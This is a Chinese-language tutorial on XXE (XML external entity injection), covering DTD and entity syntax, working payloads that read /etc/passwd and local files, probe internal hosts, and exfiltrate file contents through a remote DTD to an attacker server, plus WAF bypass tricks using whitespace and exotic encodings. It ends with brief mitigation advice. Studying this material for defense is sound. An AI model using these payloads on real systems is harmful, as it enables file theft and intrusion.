WEB常见漏洞之XXE(基础原理篇)

简介: WEB常见漏洞之XXE(基础原理篇)

0x01 XML基础知识

一个XML文档实例:

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
```

第一行是 XML 声明。它定义 XML 的版本 (1.0) 和所使用的编码 (ISO-8859-1 = Latin-1/西欧字符集)。接下来加上DTD进行声明 内部的 DOCTYPE 声明

<?xml version="1.0"?>
<!DOCTYPE note [          //定义此文档是 note 类型的文档。
  <!ELEMENT note (to,from,heading,body)> //定义 note 元素有四个元素:"to、from、heading,、body"
  <!ELEMENT to      (#PCDATA)>  //定义 to 元素为 "#PCDATA" 类型
  <!ELEMENT from    (#PCDATA)>   //定义 from 元素为 "#PCDATA" 类型
  <!ELEMENT heading (#PCDATA)>  // heading 元素为 "#PCDATA" 类型
  <!ELEMENT body    (#PCDATA)>  //定义 body 元素为 "#PCDATA" 类型
]>
<note>
  <to>George</to>
  <from>John</from>
  <heading>Reminder</heading>
  <body>Don't forget the meeting!</body>
</note>

DTD元素 在一个 DTD 中,元素通过元素声明来进行声明。声明一个元素 在 DTD 中,XML 元素通过元素声明来进行声明。元素声明使用下面的语法:只有 PCDATA 的元素 只有 PCDATA 的元素通过圆括号中的 #PCDATA 进行声明:<!ELEMENT 元素名称 (#PCDATA)> 例子:


``<!ELEMENT from (#PCDATA)>``

带有任何内容的元素 通过类别关键词 ANY 声明的元素,可包含任何可解析数据的组合:<!ELEMENT 元素名称 ANY> 例子:


``<!ELEMENT note ANY>``

带有子元素(序列)的元素 带有一个或多个子元素的元素通过圆括号中的子元素名进行声明:<!ELEMENT 元素名称 (子元素名称 1)> 或者 <!ELEMENT 元素名称 (子元素名称 1,子元素名称 2,.....)> 例子:``<!ELEMENT note (to,from,heading,body)>`` 声明只出现一次的元素 <!ELEMENT 元素名称 (子元素名称)> 例子:


``<!ELEMENT note (message)>``

上面的例子声明了:message子元素必须出现一次,并且必须只在 "note"元素中出现一次。

**外部文档声明**
<!DOCTYPE 根元素 SYSTEM "文件名">
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
```

这个 XML 文档和上面的 XML 文档相同,但是拥有一个外部的 DTD 这是包含 DTD 的 "note.dtd" 文件:

<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

DTD实体声明

重点介绍实体声明

**内部实体声明**
``<!ENTITY 实体名称 "实体的值">``
DTD 例子:
<!ENTITY writer "Bill Gates">
将writer 声明为”Bill Gates”,copyright 声明为 “Copyright W3School.com.cn”
XML 例子:
``<author>&writer;&copyright;</author>``
注释: 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)。
<!DOCTYPE foo [
    <!ENTITY xxe  "sec test" >
]>
<root>
    <name>&xxe;</name>
</root>
**外部实体声明**
外部实体引用支持通过协议,来动态的获取值
``<!ENTITY 实体名称 SYSTEM "URI/URL">``
例子:
DTD 例子:
```
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
```
XML 例子:
``<author>&writer;&copyright;</author>``
可以通过``file://``协议来读取文件内容
```
<!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<root>
    <name>&xxe;</name>
</root>
```

不同语言支持的协议不同

参数实体

<!ENTITY % 实体名称 "实体的值">
or
<!ENTITY % 实体名称 SYSTEM "URI">

参数实体只能在DTD中申明,DTD中引用,它们使用百分号(%)而不是与字符(&),可以是命名实体或外部实体。,能够解析实体或者uri,进行xml解析,进而获得其中的变量注:一般用于Bline XXE

```
<!ENTITY % style "2333">
<!ENTITY % test "%style">
```
**公共实体声明**
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

0x02 漏洞原理

XXE Injection (XML External Entity Injection,XML 外部实体注入攻击)攻击者可以通过 XML 的外部实体来获取服务器中本应被保护的数据。对于XXE漏洞最为关键的部分是DTD文档类型,DTD 的作用是定义 XML 文档的合法构建模块。当允许引用外部实体时,通过恶意构造,可以导致任意文件读取、执行系统命令、探测内网端口、攻击内网网站等危害。DTD 可以在 XML 文档内声明,也可以外部引用;libxml2.9.1及以后,默认不再解析外部实体

内部声明 DTD             
<!DOCTYPE 根元素 [元素声明]>
引用外部 DTD                 
<!DOCTYPE 根元素 PBULIC "public_ID" "文件名">
/或者
<!DOCTYPE 根元素 SYSTEM "文件名">

在解析 XML 时,实体将会被替换成相应的引用内容,xml文档如下所示:

(1) 包含内部实体的 XML 文档

<?xml version="1.0" encoding="utf-8"?>
   <!DOCTYPE c [
       <!ENTITY copyright "Copyright xx.xx.xx">
   ]>
   <c>&copyright;</c

1. 包含外部实体的 XML 文档

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE c [
   <!ENTITY copyright SYSTEM "Copyright xx.xx.xx">
 ]>
 <c>&copyright;</c>

0x03 漏洞利用

1.XML 解析器解析外部实体时支持多种协议

libxml2:file、http、ftp
PHP:file、http、ftp、php、compress.zlib、compress.bzip2、data、glob、phar
Java:file、http、ftp、https、jar、netdoc、mailto、gopher
.NET:file、http、ftp、https

2.不同解析器可能默认对于外部实体会有不同的处理规则,有些可能不会对外部实体进行解析:

    PHP:DOM、SimpleXML;
    .NET:System.Xml.XmlDocument、System.Xml.XmlReader。

    对于XXE通常有两种利用方式:

    1.有回显XXE

    有回显的情况可以直接在页面中看到Payload的执行结果或现象。

    带内XML外部实体(XXE),即攻击者可以发送带有XXE有效负载的请求,并从包含某些数据的Web应用程序获取响应。

    攻击者通过正常的回显或报错将外部实体中的内容读取出来。file 协议读取文件:

    <?xml version="1.0" encoding="utf-8"?>
      <!DOCTYPE c [
          <!ENTITY file SYSTEM "file:///etc/passwd">
      ]>

    2.BlindXXE

    服务器没有回显,只能使用 Blind XXE 来构建一条带外数据通道提取数据; Blind XXE 主要使用了 DTD 约束中的参数实体和内部定义实体。参数实体:一个只能在 DTD 中定义和使用的实体,一般引用时用 % 作为前缀; 内部定义实体:在一个实体中定义的一个实体,即嵌套定义:

     <?xml version="1.0" encoding="utf-8"?>
         <!DOCTYPE c [
            <!ENTITY  % a "<!ENTITY b 'http://www.xxx.com'>"
            %a;
         ]>
     <c>&b;</c>

    Blind XXE 采用嵌套形式建立带外数据通道,利用参数实体将本地内容读出来后,作为外部实体中的 URL 中的参数向其指定服务器发起请求,然后在其指定服务器的日志(Apache 日志)中读出文件的内容(指定服务器即攻击者的服务器);DTD 中使用 % 来定义的参数实体只能在外部子集中使用,或由外部文件定义参数实体,引用到 XML 文件的 DTD 来使用; 有些解释器不允许在内层实体中使用外部连接,无论内层是一般实体还是参数实体,所以需要将嵌套的实体声明放在外部文件中。

    存在xxe的情况下:玩法-读文件

    <?xml version = "1.0"?>
    <!DOCTYPE ANY [
    <!ENTITY xxe SYSTEM "file:///d://test.txt"> 
    ]>
    <x>&xxe; &xxe;</x>
    //xxe为变量,读取test.txt
    //打印出来

    用file协议读指定路径的文件

    显示结果

    玩法-内网探针或攻击内网应用(触发漏洞地址)内网探针

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE foo [
    <!ELEMENT foo ANY >
    <!ENTITY rabbit SYSTEM "http://192.168.33.130:80/cookie.txt" >
    ]>
    <x>&rabbit;</x>

    引入外部实体dtd,dtd就是xml的后缀,识别为xml格式

    如果设置了禁止外部实体引用,将会失效

    <?xml version="1.0" ?>
    <!DOCTYPE test [
    <!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd">
    %file;
    ]>
    <x>&send;</x>

    可以在远程服务器evil2.dtd写上:


    <!ENTITY send SYSTEM "file:///d:/test.txt">

    无回显-读取文件

    <?xml version="1.0"?>
    <!DOCTYPE test [
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=test.txt">
    <!ENTITY % dtd SYSTEM "http://192.168.0.103:8081/test.dtd">
    %dtd;
    %send;
    ]>

    Base64加密是反正传输中乱码,传输失败。

    本地192.168.xxx.xxx上构造:

    test.dtd:

    <!ENTITY % payload
    "<!ENTITY % send SYSTEM 'http://192.168.xxx.xxx:8081/?data=%file;'>"
    >
    %payload;

    开启日志,看日志就可以看到test.txt数据了。

    协议-读文件(绕过)

    <?xml version = "1.0"?>
    <!DOCTYPE ANY [ <!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php"> ]>
    <x>&f;</x>

    如何检测:

    数据格式类型:如果发现有<user>test</user><pass>Mikasa</pass>  类型
    抓包发现  content-type中是  text/xml  或者 application/xml
    盲猜:更改content-type值application/xml看返回

    burp上抓包 右键

    do an active scan:扫描漏洞

    Send to spider:爬行

    利用爬行,找到有xml,把xml代码拷贝到post上既可以利用

    0x04 绕过姿势

    这里的文本$attack;指的是前面注册的实体的链接。链接中指定的文件内容将其替换为文档正文中的内容。上述文档分为三个重要部分:

    1.可选标头,<?xml?>用于定义基本文档特征,例如版本和编码。
    2.XML文档模式的可选声明——<!DOCTYPE>。此声明可用于设置外部链接。
    3.文档正文。它有一个层次结构,其根部是指定的标签<! DOCTYPE>

    正确配置的XML解释器要么不接受包含XML链接的文档进行处理,要么将验证链接及其来源,如果缺少验证,则可以通过链接加载任意文件并将其集成到文档体中,如上面的示例所示。

    我们将根据WAF处理XML验证的方式来研究两种类型的WAF:

      成熟的waf——使用自己的解析器预处理XML文档的WAFs。
      基于正则表达式。仅搜索数据中的特定子字符串或正则表达式的WAFS。

      这两种类型的WAF都可以绕过。

      下面我们展示了攻击者可以用来骗过WAF并获得XXE的几种方法。

      方法1:文档中的额外空格

      由于XXE通常在XML文档的开头,所以比较省事儿的WAF可以避免处理整个文档,而只解析它的开头。但是,XML格式允许在格式化标记属性时使用任意数量的空格,因此攻击者可以在<?xml?><!DOCTYPE>中插入额外的空格,从而绕过此类WAF。

      方法2:格式无效

      为了绕过WAF,攻击者可能会发送特殊格式的XML文档,以便WAF认为它们无效。

      链接到未知实体

      比较成熟的WAF设置通常不会读取链接文件的内容。这种策略通常是有意义的,否则,WAF本身也可能成为攻击的目标。问题是,外部资源的链接不仅可以存在于文档的第三部分(正文),还可以存在于声明<! DOCTYPE>中 。
      这意味着未读取文件内容的WAF将不会读取文档中实体的声明。而指向未知实体的链接又会阻止XML解析器导致错误。

      幸运的是,防止这样的绕过非常简单——命令WAF中的XML解析器在遇到未知实体后不要关闭。

      方法三:外来编码(Exotic encodings)

      除了前面提到的xml文档的三个部分之外,还有位于它们之上的第四个部分,它们控制文档的编码(例如<?xml?>)——文档的第一个字节带有可选的BOM(字节顺序标记)。
      更多信息:
      https://www.w3.org/TR/xml/#sec-guessing

      一个xml文档不仅可以用UTF-8编码,也可以用UTF-16(两个变体 - BE和LE)、UTF-32(四个变体 - BE、LE、2143、3412)和EBCDIC编码。
      在这种编码的帮助下,使用正则表达式可以很容易地绕过WAF,因为在这种类型的WAF中,正则表达式通常仅配置为单字符集。
      外来编码也可用于绕过成熟的WAF,因为它们并不总是能够处理上面列出的所有编码。例如,libxml2解析器只支持一种类型的utf-32 - utf-32BE,特别是不支持BOM。

      方法4:在一个文档中使用两种类型的编码

      在上一节中,我们演示了文档的编码通常由其第一个字节指定。但是当包含编码属性的<?xml?>标记引用文档开头的不同字符集时会发生什么?在这种情况下,一些解析器更改编码,使文件的开头有一组字符,其余的是另一组编码。。也就是说,不同的解析器可能在不同的时间转换编码。Java解析器(javax.xml.parsers)在<?xml?>结束后严格地更改字符集,而libxml2解析器可以在执行“编码”属性的值之后或在处理<?xml?>之前或之后切换编码。
      只有在根本不处理这些文件时,比较成熟的WAF才能可靠地防止这些文件中的攻击。我们还必须记住,有许多同义词编码,例如UTF-32BE和UCS-4BE。此外,有些编码可能不同,但从编码文档初始部分 
      <?xml?>的角度来看,它们是兼容的。例如,看似UTF-8的文档可能包含字符串<?xml version=”1.0” encoding=”windows-1251”?>
      这里有一些例子。为了简明扼要,我们不把XXE放在文档里。
      libxml2解析器将文档视为有效,但是,javax.xml.parsers set中的Java引擎认为它无效:

      反之亦然,文档对于javax.xml.parser是有效的,但对于libxml2解析器是无效的:

      libxml2的文档,在标记中间将编码从utf-16le更改为utf-16be:

      libxml2的文档,编码从utf-8改为ebcdic-us:

      正如你所看到的,有许多绕过方法。防止XXE的最好方法是配置应用程序本身,以安全的方式初始化XML解析器。为此,应该禁用两个选项:

        外部实体
        外部DTD架构
        目录
        相关文章
        |
        6月前
        |
        安全 前端开发 JavaScript
        互联网并发与安全系列教程(07) - 常见的Web安全漏洞(其它漏洞)
        互联网并发与安全系列教程(07) - 常见的Web安全漏洞(其它漏洞)
        58 0
        |
        6月前
        |
        安全 NoSQL Java
        互联网并发与安全系列教程(06) - 常见的Web安全漏洞(CSRF攻击)
        互联网并发与安全系列教程(06) - 常见的Web安全漏洞(CSRF攻击)
        69 0
        |
        2月前
        |
        前端开发 JavaScript 安全
        深入探索 Qt6 web模块 WebEngineCore:从基础原理到高级应用与技巧
        深入探索 Qt6 web模块 WebEngineCore:从基础原理到高级应用与技巧
        86 0
        |
        2月前
        |
        Web App开发 存储 搜索推荐
        谈谈 Web 应用里界面图标 Icon 的显示原理
        谈谈 Web 应用里界面图标 Icon 的显示原理
        27 0
        |
        3月前
        |
        SQL 安全 Java
        Java Web安全性:常见的漏洞及防护措施
        Java Web安全性:常见的漏洞及防护措施
        158 0
        |
        4月前
        |
        Web App开发 Ubuntu 应用服务中间件
        Flutter笔记:Web支持原理与实践
        Flutter笔记:Web支持原理与实践
        105 0
        |
        4月前
        |
        SQL 安全 关系型数据库
        01WEB漏洞环境搭建
        【1月更文挑战第4天】给单位零基础小伙伴准备的网安入门教程,本教程是基于蚁景实验室搭建,基于自建虚拟机搭建需自行准备前置环境,01WEB漏洞环境搭建
        |
        4月前
        |
        安全 Java 应用服务中间件
        Web服务器的工作原理
        Web服务器的工作原理
        |
        5月前
        |
        SQL 安全 网络安全
        【Web渗透测试】—Web漏洞
        【Web渗透测试】—Web漏洞
        |
        5月前
        |
        JSON 算法 数据库
        JWT(JSON Web Token)的基本原理
        JWT(JSON Web Token)的基本原理